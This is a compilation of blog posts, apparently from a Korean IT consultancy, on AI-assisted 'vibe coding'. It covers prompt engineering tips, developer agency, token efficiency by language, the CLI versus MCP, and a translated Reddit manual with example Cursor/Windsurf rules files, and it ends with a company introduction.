Whenever I pick up a new technology or need to get up to speed on a topic, the first thing I read is the whitepaper published by the vendor behind it. Most technical whitepapers are free, and they pack in a lot of information, which saves me time.

Google has now released a whitepaper on prompt engineering.

Google Prompt Engineering Whitepaper

Prompt engineering is a critical piece of vibe coding. If you intend to use it at a professional level, this whitepaper is an excellent place to start. It runs only about 60 pages, so I recommend reading the original if you can. But for those who aren’t comfortable with English or are short on time, I’ve summarized it here with a focus on the code prompting material that relates to vibe coding.

Code Prompting Overview

Code prompting is the practice of designing prompts so that an AI language model performs development tasks such as writing, explaining, translating, and debugging code. This lines up exactly with the core idea of vibe coding: “a development approach in which the human defines the problem and the AI becomes the agent that solves it.”

Code Prompting Techniques in Detail

There are four types of prompting.

1. Prompts for writing code

• Give the AI a prompt so it can automatically write code in a specific programming language.
• Examples:
  • Generating a Bash script that automates renaming files in a given folder
  • Automating file renaming and string handling with a Python script

2. Prompts for explaining code

• Have the AI explain, in natural language, what existing code means and how it works.
• Example:
  • Having the AI walk through the behavior of a Bash script step by step

3. Prompts for translating code

• Automatically translate code written in one programming language into another.
• Example:
  • Converting a Bash script into Python code

4. Prompts for debugging and reviewing code

• Use AI to automatically identify errors in code and receive suggestions for improvement.
• Example:
  • Finding the errors in broken Python code, explaining the fix step by step, and providing improved code

Best Practices for Code Prompting

The AI prompting best practices that matter most for code prompting (vibe coding) are as follows.

Be specific about output requirements

• Describe the exact result or structure you want from the code so the AI isn’t left guessing.

Use positive instructions

• Focus on what to do rather than what not to do. When asking for code, for example, state the goal clearly instead of listing restrictions.

Prompt with variables

• Write prompts you can reuse, using variables to improve reusability and maintainability.

Experiment with prompt formats and styles

• Try different phrasings, tones, and instruction styles to find what works best.

Document your prompting results

• Record your various attempts so you can identify what worked and continuously improve prompt quality.

How This Connects to Vibe Coding

The code prompting techniques presented in this document are closely tied to the core concepts of vibe coding.

• Defining the problem and giving instructions (writing the prompt) → the human’s job
• Writing, explaining, translating, and debugging code (the prompt’s output) → the AI’s job

With this approach, developers spend less time on repetitive work and error fixing, and can focus on creative work such as generating ideas and defining problems.

In other words, the heart of vibe coding is using code prompting techniques well so that AI can generate and manage code more accurately and efficiently.

Prompting Best Practices

For the best prompting performance, the following are recommended.

• Provide examples to improve the model’s accuracy.
• Design prompts to be simple and clear.
• Be specific about output requirements.
• Use positive instructions instead of constraints so you don’t confuse the model.
• Control the maximum token length for efficiency.
• Use variables to make prompts reusable.
• Experiment with different input formats and writing styles to find the optimal prompting style.
• For classification tasks, mix up the classes in few-shot prompts to prevent overfitting.
• Keep adjusting your prompts as models are updated.
• Use JSON and structure your data with schemas.
• Experiment collaboratively with other engineers to work more efficiently.
• Document the prompts you’ve tried to systematize your knowledge.

Closing Thoughts

Prompt engineering is a field that calls for an iterative, systematic approach in order to get the most out of an LLM. With the right settings and a range of techniques, you can draw out an LLM’s full potential. I wrote this post for developers who are always pressed for schedule, to help them pick up prompting techniques and best practices with minimal time and effort and get the results they want efficiently. That said, the whitepaper is full of insights from cover to cover, so if you can spare half a day, I recommend reading the original.

TL;DR

• Even in the vibe coding era, what the best developers need at their core are fundamentals like curiosity, quality standards, and communication.
• The more AI takes over implementation, the further a developer’s role shifts toward problem definition, evaluation, and accountable decision-making.
• Agency matters more than intelligence, and an execution-first mindset like the Amazon Leadership Principles becomes the benchmark for collaborating with AI.

Introduction: The Traits of the Best Developers

Not long ago I came across a blog post on GeekNews by Matthias Endler, an open source maintainer and Rust consultant: “The Best Programmers I Know”. In it he lays out the traits the best developers he has worked with have in common.

The best developers are curious, humble, and know how to simplify complex problems. They communicate well, dig into the deep parts of the technology, and never stop learning steadily. And above all, they place enormous value on the quality and maintainability of software.

I broadly agree with him, but one thought stayed with me the whole time I was reading. In the era of vibe coding, where AI takes the lead in solving problems, how exactly do these traits of an excellent developer change?

Agency Over Intelligence

I found a hint toward an answer in a tweet from Andrej Karpathy. In a recent tweet, Karpathy made this interesting claim.

Agency > Intelligence. For a long time I believed intelligence was the single most important factor, but I have come to think that agency matters more than intelligence. Intelligence is possibility, nothing more than potential, while agency is the force that actually changes reality and produces results. In other words, no matter how smart you are or how much potential you have, it means nothing if you do not act.

This kind of agency will establish itself as the single most important virtue for developers in the era of working alongside AI, the era of vibe coding. That is because a developer’s role is shifting from solving problems to defining and evaluating them. But if we are talking about defining and evaluating problems, is that not already the job of a product manager (PM) or product owner (PO)? If a time comes when developer involvement is no longer needed, developers may genuinely disappear and leave only PMs and POs behind.

The Amazon Leadership Principles in the Vibe Coding Era

Over the past eight years I spent six as a technical trainer at AWS and two and a half as a developer. As the company grew rapidly and its headcount expanded exponentially, Amazon created the ‘Amazon Leadership Principles’ so that everyone could run the business with as close to the same mindset as possible. When I read Andrej Karpathy’s tweet about agency, my first thought was that agency connects very closely to Amazon’s leadership principles.

Let’s look at how the Amazon Leadership Principles apply in vibe coding specifically.

1️. Customer Obsession

• You have to convey the customer’s problem to the AI accurately, and be able to define problems and set priorities with the customer at the center.
• Provide clear, granular context so the AI does not miss the customer’s needs.

2️. Ownership

• Since a human ultimately bears responsibility for what the AI produces, ownership over the output matters more than ever.
• Treat the result as your own rather than simply the AI’s responsibility, and keep working to improve it to the end.

3️. Invent and Simplify

• Use AI to boldly simplify existing complex procedures, and take on the role of inventing more effective ways to solve problems.
• Enable continuous innovation by evaluating and improving the solutions the AI produces through a human lens.

4️. Learn and Be Curious

• Continuously learn how AI technology is evolving and explore ways to use it with curiosity.
• Pick up new frameworks and techniques quickly, growing yourself so you can collaborate with AI more effectively.

5️. Hire and Develop the Best

• The work of finding and developing people with strong technical leadership remains extremely important.
• Contribute by building up your teammates’ technical skills and teaching them how to use AI effectively.

6️. Insist on the Highest Standards

• Do not trust AI output blindly; be able to evaluate and improve quality against a high bar.
• Maintain uncompromising standards across every dimension, including quality, security, and ethics.

7️. Think Big

• Use AI technology to hand off the technical implementation to AI, so that people can focus on setting and executing bolder, more innovative goals and visions.
• Present the big picture so the AI can break past the constraints of existing thinking, and explore larger possibilities.

8️. Bias for Action

• Use AI technology to experiment quickly, gather feedback, and iterate on improvements.
• Do not just deliberate; pick up speed through action-oriented rapid iteration and validation.

9️. Frugality

• Value cost and resource efficiency in your use of AI too, and design systems without waste.
• Keep taking an efficient approach that gets the maximum result from minimal resources.

10. Earn Trust

• Share AI results transparently and communicate in a way that earns trust.
• Present the AI’s decision-making in an interpretable form to increase confidence in the results.

11. Dive Deep

• Even when the AI’s output looks good on the surface, understand the underlying principles and analyze it closely before trusting it.
• Hold an attitude of investigating all the way down to grasp the essence of the problem.

12. Have Backbone; Disagree and Commit

• Do not agree blindly with the AI’s output; state your own view clearly.
• Even when opinions clash, once a decision is made, work responsibly with the AI’s results to produce the best outcome.

13. Deliver Results

• Ultimately, use AI to produce meaningful results in terms of actual business value or user experience.
• Focus on delivering concrete, valuable results that go beyond technical excellence.

Among these, ‘Customer Obsession’ and ‘Ownership’ in particular are the heart of the drive Karpathy emphasized. AI can solve problems well, but defining those problems clearly and steering them in the right direction is still a human job. You have to understand the customer’s needs deeply and lead the problem-solving with a firm sense of responsibility for the solution. In the end, the excellent developer of the vibe coding era will be someone with clear agency and strong accountability, not just technical potential.

In the vibe coding era that has only just begun, developers will take on a role that goes beyond simply using AI: defining problems proactively alongside AI and taking responsibility for what gets produced. In other words, the developer who acts, who sees the problem accurately, takes it on as their own, and doggedly works toward a solution, will emerge as the most valuable talent of the vibe coding era.

There is one question people commonly wonder about when it comes to vibe coding, that is, developing with a large language model (LLM) like GPT: “Is there a difference in the quality of the work when I talk to the model in Korean versus English?” To give the conclusion first, in my experience and by the way LLMs work, the language itself does not change the quality of the work.

TL;DR

• What matters more than which language, Korean or English, produces better results is token efficiency.
• Korean can consume more tokens to convey the same content, which can affect cost, speed, and how much context you can pass along.
• For large projects, or for documents that get fed in repeatedly such as rules files, it is worth considering a strategy of keeping them concise and in English.

Let’s start with a quick look at the mechanics. An LLM breaks the input text into units called tokens, then uses those tokens to predict what comes next and carry out the work. In English, a word or part of a word is generally split into a single token, while Korean is split more finely, at the syllable or morpheme level.

For example, “Hello” typically uses one token, whereas “안녕하세요” is likely to be split into several tokens such as ‘안’, ‘녕’, ‘하세요’ — though this can vary depending on the internal workings of the LLM service.

That said, it is hard to argue that this affects the quality of the work. In the end, LLMs overcome differences between languages quite well in the process of understanding the input and grasping the context.

There is, however, something else worth paying attention to: token consumption. English consumes tokens relatively concisely, while Korean requires more tokens to convey the same content. This is not merely a cost issue; it also affects prompt processing speed and the total size of the context you can pass along.

Rules files used in vibe coding environments — .cursorrules (Cursor), .windsurfrules (Windsurf), CLAUDE.md (Claude Code) — are fed in repeatedly with every exchange with the model, which makes optimizing those rules extremely important. This is where the question of which language to choose takes on practical meaning. Writing your rules and documents in a more concise language cuts unnecessary token consumption and lets you pass along more context.

For most development work, using Korean does not actually cause any serious problem. But for large projects, or when you have to handle complex context, giving English a look can be a good approach. It lets you build a faster, more efficient vibe coding environment while minimizing token usage.

Ultimately, the question of which language, Korean or English, works “better” is at its core a question of efficiency rather than of quality. When cost, speed, and efficient context management are what you need, writing your prompts and rules in English is the smart choice.

Look around the developer community these days and you will run into plenty of talk about MCP, the Model Context Protocol. The argument goes that if we want AI to work more intelligently and more flexibly, we need an interface like MCP. And honestly, I have been watching this technical trend with real interest. Part of me looks forward to where it goes, and part of me wonders: does MCP actually have to be there right now?

The upside of MCP is clear. When AI is wired into multiple services, the protocol lets it handle work more smoothly and more naturally. But reality is not that simple. Plenty of services still do not support MCP, and using MCP properly requires dedicated server infrastructure. Standing up that infrastructure is not the end of it either — you also need rigorous security management and an operational plan that guarantees high availability. Add it all up and the effort and cost of adopting MCP turn out to be far from trivial.

So what about vibe coding? Is AI ineffective without MCP? Not at all. Remarkably, we have had for a very long time one thoroughly universal tool that AI happens to handle extremely well: the CLI, the command line interface.

TL;DR

• MCP is useful for connecting AI to external services, but it is not a prerequisite for vibe coding today.
• The CLI is a long-proven, general-purpose interface, and it is the practical channel through which AI can do Git, cloud, IaC, and database work.
• Until the MCP ecosystem and its security operations mature further, leaning hard on the CLI you already know is the realistic choice.

The CLI is less “outdated” than it is a general-purpose interface validated by a long history. Every developer is comfortable with it, and standard input and output let you compose pipelines that handle even complex processing. Write a good shell script once and you can run it yourself any time, no AI required.

When I do vibe coding, I hand a fair amount of work to AI through the CLI. Creating a GitHub repository, managing issues and projects, documenting a wiki — all of that is easy to handle from the command line. Basic operations like generating a commit message, committing, pushing, and merging are things AI performs deftly through the CLI as well.

Beyond that, checking the state of cloud infrastructure, verifying deployment results, and troubleshooting when something breaks all go smoothly through the CLI. Deploying and debugging with IaC tools such as Terraform or CloudFormation works perfectly from the command line too. Complex jobs like analyzing or creating a database schema are more than handled by CLI tooling.

We are in the early, transitional days of MCP adoption. More services will certainly adopt it going forward, but the service ecosystem is not mature yet. Above all, it will take time before solid security policies and management practices for MCP arrive.

Is there any reason to wait until then? Obviously not. If there is a way to use AI as effectively as possible right now, it is to lean into the CLI that is already second nature to us. Once you experience the fantastic combination of AI and the CLI while vibe coding, you will see that you can produce productive, creative results without needing MCP at all.

I have no argument with the claim that MCP is useful as an interface for providing AI services or for AI to consume. But when it comes to vibe coding, we can already use the CLI to let AI take full advantage of the interfaces we have.

I got into programming in 1986 on an Apple II — more precisely, on a “Cheonggyecheon No. 2,” a machine built from Apple OEM stock siphoned off and sold on the gray market. I have worked as a professional programmer since 1995, which means I have been coding for close to thirty years now. Over that long stretch I have lived through countless shifts in software development trends, but none as jolting as the arrival of vibe coding. Since December of last year I have been doing actual production development with vibe coding. Looking at social media lately, there seems to be a great deal of both worry and expectation around it. Drawing on my own experience, I want to talk about this new phenomenon.

TL;DR

• Vibe coding is not simply AI-assisted coding; it is closer to a development style where the human defines the problem and the AI drives the solution.
• Existing engineering skills — software knowledge, problem decomposition, testing, architecture — still matter.
• Rather than a passing fad, it is a current that will keep developing, and companies and developers need an attitude of understanding it and putting it to use.

First, does vibe coding just mean developing with AI? Yes and no. Developers have been using AI such as GitHub Copilot and ChatGPT for several years now. The difference is that the previous approach was human-led problem solving, whereas in vibe coding the human defines the problem and the AI takes responsibility all the way through the solution. In automotive terms, development up to now has gone from manual transmission to automatic, and then on to navigation. Vibe coding is closer to autonomous driving: you name the destination and it takes you there.

Second, is vibe coding really possible without software knowledge? Here too the answer is both yes and no. AI is extremely effective at solving relatively narrow problems, such as algorithm exercises. But for vibe coding to work well on a project past a certain size, a clear problem definition and well-maintained context boundaries are essential. Today’s AI tools struggle with excessively complex context. So the ability to break a problem down into appropriately small pieces — that is, a basic understanding of software engineering — is still required. How long this will remain true is anyone’s guess, because LLMs and vibe coding tools are advancing fast. What can be said with confidence is that vibe coding as of today has no trouble at all handling context that goes beyond the function level up to the scale of a microservice for most problem solving.

Third, is vibe coding a passing fad? No. Like the internet or the smartphone, it is already out in the world, and there are plenty of developers — myself included — actually building with it. The usefulness of vibe coding has already been demonstrated; it will not vanish like a fad but will keep improving. AI, the core technology underpinning vibe coding, is also advancing rapidly. Problems that feel hard right now will be solved before long. Going forward, vibe coding will establish itself as an important tool not only for software but for solving all sorts of real-world problems with AI. Of course, people will try to abuse it too, so we need to prepare for that.

Fourth, can vibe coding not be used for large-scale development? It can. There are limits today given AI’s capability, but they are entirely solvable. You divide the development into pieces sized for the AI to handle well. Limiting the context the AI has to consider through prompt engineering, or migrating outright to microservices, are both good approaches. It is perfectly feasible and effective. The important point is that using vibe coding on a project past a certain size requires its own methodology and process.

Fifth, does vibe coding produce a lot of bugs? Yes. But so does code written by humans. Human or AI, bugs increase as scale grows. The key is to develop in small enough pieces to keep the implementation at the size where vibe coding works well. This is where a structure that is closed to modification and open to extension — the ‘O’ in the SOLID principles — really shines. On another front, TDD (test-driven development) is extremely useful in vibe coding as well. The difference is that a human doing TDD writes the test first and then the implementation, whereas the AI produces the test and the implementation almost simultaneously. Test code written this way becomes a sturdy shield against later changes.

Sixth, is vibe coding a completely new way of developing? Not yet. Just as cars still have steering wheels even though autonomous driving has arrived, vibe coding inherits the good practices of existing software development. Test code, the SOLID principles, clean architecture, DDD, CI/CD, static code analysis — the established best practices carry over to vibe coding intact. If anything, because AI can adhere to these principles more rigorously, it lets you maximize the benefits those practices bring. That said, I expect vibe coding will soon advance to the point where it no longer shows you the code itself, or can hide it without any problem — much as the steering wheel disappears in a fully autonomous car. Programming languages and frameworks built for AI may even emerge.

Finally, can vibe coding not be used at large enterprises? I expect the spread of vibe coding to follow a pattern similar to cloud computing adoption. From a large enterprise’s point of view, adopting vibe coding quickly will not be easy. But over time, issues like compliance will be addressed by solutions from the cloud vendors. Companies with insight into technology will confirm the potential and hurry to adopt. Startups, lighter on their feet than large enterprises, are already adopting vibe coding at a rapid pace. Even so, defining and solving business problems remains the human’s job.

To sum up, vibe coding is not a passing fad. It still has gaps, but it holds enormous potential and it is evolving without pause. What matters is our own attitude — understanding it and knowing how to use it well.

This post is a translation of the Vibe Coding Manual posted on Reddit.

TL;DR

• Vibe Coding is a development approach that combines specification, rules, and oversight to build projects together with AI.
• The key to a rules file is clearly separating coding style, tech stack, workflow, and communication expectations.
• It applies to everything from small scripts to large applications, but you have to keep managing the AI’s scope creep and context loss.

Introduction: Core Concepts of Vibe Coding and AI

What Is Vibe Coding, and What Is It Built On?

Vibe Coding is a collaborative software development approach in which a human uses AI models (e.g., Claude 3.7, GPT-4o) to efficiently build functional projects. Introduced in “Vibe Coding Tutorial and Best Practices,” which Matthew Berman published on his YouTube channel, the concept rests on three core pillars:

1. Specification: Define the goal (e.g., “build a Twitter clone with login”).
2. Rules: Set explicit constraints (e.g., “use Python, avoid complexity”).
3. Oversight: Monitor and adjust the process to ensure consistency.

Building on Berman’s foundation, this manual incorporates community insights from YouTube comments (u/nufh, u/robistocco, and others) and Reddit threads (u/illusionst, u/DonkeyBonked, and others) to provide a comprehensive framework for developers at every level.

Why Is This Framework Useful?

AI models are powerful but prone to chaos such as over-engineering, scope creep, or context loss. This manual addresses the following problems:

• Chaos control: Enforces strict adherence to rules, minimizing off-track behavior.
• Time savings: Structured steps and summaries reduce rework.
• Clarity: Non-technical users can follow along easily, while programmers gain precise control.

Key Benefits

1. Clarity: The rules are organized modularly, making them easy to navigate and adjust.
2. Control: The user directly dictates the pace and scope of the AI’s work.
3. Scalability: Applicable to everything from small scripts (e.g., a calculator) to large apps (e.g., a web platform).
4. Maintainability: Documentation and tracking ensure long-term project viability.

Structure of the Manual: How It Is Organized

The framework consists of four files (or sections), each with its own distinct purpose, in the .cursor/rules directory (or .windsurfrules):

1. Coding preferences – Define code style and quality standards.
2. Tech stack – Specify tools and technologies.
3. Workflow preferences – Manage the AI’s process and execution.
4. Communication preferences – Set expectations for AI-human interaction.

We will start with the basics for accessibility and then move on to advanced details for technical depth.

Core Rules: A Simple Starting Point

1. Coding Preferences – “Write Code This Way”

Purpose: Ensure clean, maintainable, and efficient code.

Rules:

• Simplicity: “Always prioritize the simplest solution over complexity.” (Matthew Berman)
• No duplication: “Avoid repeating code; reuse existing functionality when possible.” (Matthew Berman, DRY from u/DonkeyBonked)
• Organization: “Keep files concise, under 200-300 lines, and refactor as needed.” (Matthew Berman)
• Documentation: “After developing a major component, write a brief summary in /docs/[component].md (e.g., login.md).” (u/believablybad)

Why it works: Simple code reduces bugs, and documentation provides a readable audit trail.

2. Tech Stack – “Use These Tools”

Purpose: Restrict the AI to the technologies the user prefers.

Rules (Berman’s examples):

• “Write the backend in Python.”
• “Write the frontend in HTML and JavaScript.”
• “Store data in a SQL database, not JSON files.”
• “Write tests in Python.”

Why it works: Maintains consistency and prevents the AI from switching tools mid-project.

3. Workflow Preferences – “Work This Way”

Purpose: Control the AI’s execution process for predictability.

• Focus: “Modify only the code I specify; leave everything else untouched.” (Matthew Berman)
• Steps: “Break large tasks into stages and wait for my approval after each one.” (u/xmontc)
• Planning: “Before big changes, write a plan.md and wait for my confirmation.” (u/RKKMotorsports)
• Tracking: “Log completed work in progress.md and next steps in TODO.txt.” (u/illusionst, u/petrhlavacek)

Why it works: Incremental steps and logs keep the process transparent and manageable.

4. Communication Preferences – “Talk to Me This Way”

Purpose: Ensure clear, actionable feedback from the AI.

• Summaries: “After completing each component, summarize what was done.” (u/illusionst)
• Change scale: “Classify changes as Small, Medium, or Large.” (u/illusionst)
• Clarification: “If my request is unclear, ask questions before proceeding.” (u/illusionst)

Why it works: You get clear information without having to decipher the AI’s intent.

Advanced Rules: Scaling for Complex Projects

1. Coding Preferences – Raising Quality

Extensions:

• Principles: “Follow SOLID principles (e.g., single responsibility, dependency inversion) where applicable.” (u/Yodukay, u/philip_laureano)
• Guardrails: “Never use mock data in development or production environments — restrict it to tests only.” (Matthew Berman)
• Context check: “Start every response with a random emoji (e.g., 🐙) to confirm context retention.” (u/evia89)
• Efficiency: “Optimize output to minimize token usage without sacrificing clarity.” (u/Puzzleheaded-Age-660)

Technical insight: SOLID ensures modularity (e.g., the login module isn’t responsible for handling tweets). The emoji signals when context has exceeded the model’s limit (typically 200k tokens for Claude 3.7).

2. Tech Stack – Customization

Extensions:

• “If you specify additional tools (e.g., Elasticsearch for search), include them here.” (Matthew Berman)
• “Never change the stack without my explicit approval.” (Matthew Berman)

Technical insight: A fixed stack prevents the AI from introducing incompatible dependencies (e.g., switching from SQL to JSON).

3. Workflow Preferences – Process Mastery

Extensions:

• Testing: “Include comprehensive tests for major features and suggest edge case tests (e.g., invalid input).” (u/illusionst)
• Context management: “When context exceeds 100k tokens, summarize into context-summary.md and restart the session.” (u/Minimum_Art_2263, u/orbit99za)
• Adaptability: “Adjust checkpoint frequency based on my feedback (more or less granular).” (u/illusionst)

Technical insight: Token limits (e.g., Claude’s 200k) mean performance degrades past 100k. Summaries help maintain continuity, and tests catch regressions early.

4. Communication Preferences – Precision Interaction

Extensions:

• Planning: “For Large changes, provide an implementation plan and wait for approval.” (u/illusionst)
• Tracking: “Always state clearly what is complete and what is pending.” (u/illusionst)
• Emotional signals: “When I indicate urgency (e.g., ’this is important — don’t mess it up!’), prioritize care and precision.” (u/dhamaniasad, u/capecoderrr)

Technical insight: Change classification (S/M/L) quantifies impact (e.g., Small = under 50 lines, Large = architectural change). Emotional signals may let the AI draw on training data patterns to elicit better compliance.

A Practical Example: How It Works

Task: “Build a note-taking app with save functionality.”

1. Specification: The user says, “I need an app where I can write and save notes.”

2. AI response: “🦋 Understood. Plan: 1. Backend (Python, SQL storage), 2. Frontend (HTML/JS), 3. Save functionality. Shall I proceed?”

3. User: “Yes.”

4. Execution: After the backend: “🐳 Backend complete (Medium change). Notes are stored in SQL. I’ve updated progress.md and TODO.txt. Next: the frontend?” After the frontend: “🌟 Frontend complete. Added docs/notes.md with usage instructions. Done!”

5. Result: A working app with logs (progress.md, /docs) for reference.

Technical note: Each stage is individually testable (e.g., SQL inserts work), and context is preserved through summaries.

Advanced Tips: Maximizing the Framework

Why Four Files?

• Modularity: Each file separates a concern (style, tools, process, communication) for easy updates. (Matthew Berman)
• Scalability: You can adjust one file without disturbing the others (e.g., tuning the communication style without touching the tech stack). (u/illusionst)

Customization Options

• Beginners: Skip the advanced rules (e.g., SOLID) for simplicity.
• Teams: Add team-collaboration.mdc: “Align with the team rules in team-standards.md and summarize for colleagues.” (u/deleatanda5910)
• Large projects: Increase the frequency of checkpoints and documentation.

Emotional Prompting

• Try it: “This project is important — please focus!” Anecdotal evidence suggests improved attentiveness, which may stem from training data bias. (u/capecoderrr, u/dhamaniasad)

Credits and Acknowledgments

This framework owes a debt to the following contributors:

• Andrej Karpathy: Coined the term “vibe coding” and introduced it to the broader community in a post on X (February 3, 2025). He described AI-assisted programming focused on intuitive, minimal-effort workflows. His work inspired the foundational concepts of this framework.

• Matthew Berman: Core vibe coding rules and philosophy (YouTube, 2025).

• YouTube community:

  • u/nufh, u/believablybad (documentation, .md files).
  • u/robistocco (iterative workflow).
  • u/xmontc (checkpoints).

• Reddit community:

  • u/illusionst (communication, progress tracking).
  • u/Puzzleheaded-Age-660 (token optimization).
  • u/DonkeyBonked, u/philip_laureano (KISS, DRY, YAGNI, SOLID).
  • u/evia89 (emoji context check).
  • u/dhamaniasad, u/capecoderrr (emotional prompting).

• Grok (xAI): At u/Low_Target2606’s request, synthesized this manual by consolidating all the insights into a single coherent framework.

Conclusion: A Guide to Vibe Coding

This manual is a battle-tested template for putting AI to work in development. Balancing simplicity, control, and scalability, it is ideal for solo coders, teams, or non-technical creators. Use it as is, adapt it to your needs, and share your results — I’d love to see how it evolves! Post your feedback on Reddit and let’s improve it together. Happy coding!

Appendix: Example Global Rules and Workspace Rules for Windsurf

Global rules

1️⃣ Implementation Principles

• Implement using SOLID principles:
  • Single Responsibility Principle
  • Open-Closed Principle
  • Liskov Substitution Principle
  • Interface Segregation Principle
  • Dependency Inversion Principle
• Implement with TDD: write tests first, then implement, following test-driven development.
• Implement using Clean Architecture: clearly separate responsibilities and concerns.

2️⃣ Code Quality Principles

• Simplicity: always prioritize the simplest solution over a complex one.
• No duplication: avoid duplicating code and reuse existing functionality where possible (DRY principle).
• Guardrails: never use mock data in development or production environments, only in tests.
• Efficiency: optimize output to minimize token usage without sacrificing clarity.

3️⃣ Refactoring

• When refactoring is needed, explain the plan, get permission, and then proceed.
• The goal is to improve the code structure, not to change functionality.
• After refactoring, confirm that all tests pass.

4️⃣ Debugging

• When debugging, explain the cause and the solution, get permission, and then proceed.
• What matters is not clearing the error but making it work properly.
• If the cause is unclear, add detailed logs for analysis.

5️⃣ Language

• Communicate in Korean.
• Write documentation and comments in Korean as well.
• Technical terms, library names, and the like may stay in the original language.

6️⃣ Git Commits

• Never use --no-verify.
• Write clear, consistent commit messages.
• Keep commits at an appropriate size.

7️⃣ Documentation

• After developing a major component, write a brief summary in /docs/[component].md.
• Update documentation along with the code.
• Explain complex logic or algorithms in comments.

Workspace rules

1️⃣ Tech Stack - “Use These Tools”

Development Tools

• Backend: use Python
• Infrastructure: Pulumi for TypeScript, CloudFormation
• Data storage: MySQL-compatible Aurora Serverless
• Testing: pytest, Jest

Additional Notes

• Additional tools may be included here if explicitly requested.
• Do not change the stack without explicit approval.
• Write resource Descriptions in Terraform or CDK in English.

2️⃣ Workflow Preferences - “Work This Way”

Basic Process

• Focus: modify only the specified code and leave the rest as is.
• Steps: break large tasks into stages and wait for approval after each one.
• Planning: before big changes, write a design and task overview document [issue-name]_design.md and an implementation plan document [issue-name]_plan.md, then wait for confirmation.
• Tracking: log completed work in progress.md and next steps in TODO.txt.

Advanced Workflow

• Testing: include comprehensive tests for major features and suggest edge case tests.
• Context management: when context exceeds 100k tokens, summarize into context-summary.md and restart the session.
• Adaptability: adjust checkpoint frequency based on feedback (more or less granular).

3️⃣ Communication Preferences - “Communicate This Way”

Basic Communication

• Summaries: summarize the completed work after each component.
• Change scale: classify changes as small, medium, or large.
• Clarification: if a request is unclear, ask before proceeding.

Precision Communication

• Planning: for large changes, provide an implementation plan and wait for approval.
• Tracking: always state what is complete and what is pending.
• Emotional signals: when urgency is indicated (e.g., “this is important — please focus!”), prioritize care and accuracy.

4️⃣ Project Structure

Directory Structure

• docs/: all documentation files
  • architecture/: architecture documents
  • guides/: developer guides
  • runbooks/: operations manuals
• src/: source code
  • core/: core business logic
  • infrastructure/: infrastructure-related code
  • api/: API endpoints
• tests/: test files

Naming Conventions

• File names: use snake_case (e.g., user_service.py)
• Class names: use PascalCase (e.g., UserService)
• Function and variable names: use snake_case (e.g., get_user())
• Constants: use UPPER_SNAKE_CASE (e.g., MAX_USERS)

5️⃣ How to Use This

This rule set is a template for AI-assisted development. Use it as follows:

1. Reference these rules when starting a project.
2. Adjust the rules as needed.
3. Instruct the AI model to follow the contents of this file.
4. As the project progresses, evaluate how much these rules help.

With this rule set, collaborating with AI will become more efficient and more predictable.

“We want to adopt AI and cloud at our company too — but where do we even start?” Plenty of companies talk about digital transformation, yet once it comes time to actually execute, they run into complex technical barriers, in-house infrastructure limits, and gaps in their team’s skills. AI and cloud keep growing in importance, but without a proper roadmap and real expertise, turning them into results is genuinely hard.

ROBOCO (Robot Co-worker) is an IT consulting firm founded to solve exactly that problem. Engineers who came out of global IT companies such as AWS and Google joined forces to help businesses do more than merely “attempt” digital transformation — to make it work on the ground while simultaneously raising the organization’s own capabilities. ROBOCO’s founding members have run a great many cloud and AI projects, and along the way they experienced firsthand that no matter how good a solution you bring in, it won’t last unless the company’s culture and internal technical strength can support it.

TL;DR

• ROBOCO is an IT consulting firm that helps companies adopt AI and cloud in ways that actually work in practice.
• Our core areas are GenAI-driven development automation, cloud-native platform engineering, digital transformation, and AI transformation.
• We pair immediately deployable solutions with training, so clients internalize the capabilities and keep them after the engagement ends.

“We Achieve Business Innovation Through Technology”

ROBOCO’s mission is simple and clear.

To realize our clients’ business innovation with the latest AI technology

To that end, we’ve defined four primary business areas — GenAI-driven development automation, cloud-native platform engineering, digital transformation, and AI transformation — and staffed each with specialists.

• GenAI-driven development automation uses AI to automate repetitive coding and testing work, dramatically shortening development time and freeing developers to focus on more creative problem solving.

• Cloud-native platform engineering applies modern cloud technologies such as serverless and container orchestration to help companies run scalable, reliable services.

• Digital transformation migrates legacy systems to cloud and AI environments and supports the adoption of an agile organizational culture, lifting both operational efficiency and agility.

• AI transformation is the process of applying machine learning and AI models across the enterprise to realize data-driven decision making and automation.

“You Get Both a Ready-to-Use Solution and the Training to Run It”

The biggest differentiator ROBOCO emphasizes is that we deliver “a solution that actually works” and “stronger in-house capability” at the same time. Many consulting firms produce excellent volumes of documentation and presentations, but leave the question of how to actually implement any of it on the ground to the client. ROBOCO instead proposes pre-validated frameworks, processes, and tools, puts them to work immediately, and runs a training program in parallel.

As a result, clients get clear deliverables in a short span of time while building the foundation for their own people to understand and operate the new technologies and processes on their own. In other words, because the in-house capability is already there when the engagement ends, the company can lead follow-on projects and expansions itself.

“Experts From Global IT Companies Are With You”

Our founding members bring backgrounds including senior developer and trainer at AWS, senior developer at Google, and startup front-end and large-scale e-commerce back-end work. Through countless internal and client projects, they kept encountering the same frustration from companies: “We want to adopt new technology quickly, but finding the right partner turned out to be hard.”

That’s why ROBOCO calls itself “Robot Co-worker” — a colleague who collaborates with robots — expressing our commitment to building the innovation companies want together with them. The name conveys that while we make full use of AI and automation, human capability and collaboration ultimately come first, and it stands for the philosophy that technology doesn’t take work away from people but helps them focus on more valuable work.

“Here’s How We’re Building Digital Innovation”

ROBOCO has recently been running digital and AI transformation projects with a range of companies in Korea and abroad. In one case, we migrated legacy systems to the cloud in phases, cutting operating costs while improving service stability. In another, we implemented marketing automation with generative AI and improved response rates. Above all, we hear back that because the client’s own team can now operate the newly learned technologies and processes directly after each project, they have a foundation for long-term self-sufficiency. This is what we mean by keeping both keywords — “execution and internalization” — front and center: consulting aimed at generating real results for the client.

“Build a New Future With ROBOCO”

AI and cloud have already become an irreversible current, and they are no longer a matter for the future — they’re a task for right now. ROBOCO will keep researching and building in step with the latest trends, including generative AI, multi-cloud architecture, and MLOps, to help companies ride the wave of innovation.

We hope ROBOCO can be a dependable partner on the journey of creating new possibilities where technology and people work together. Through faster AI and cloud innovation and substantive organizational capability building, let’s create the experience of taking your business to a new level.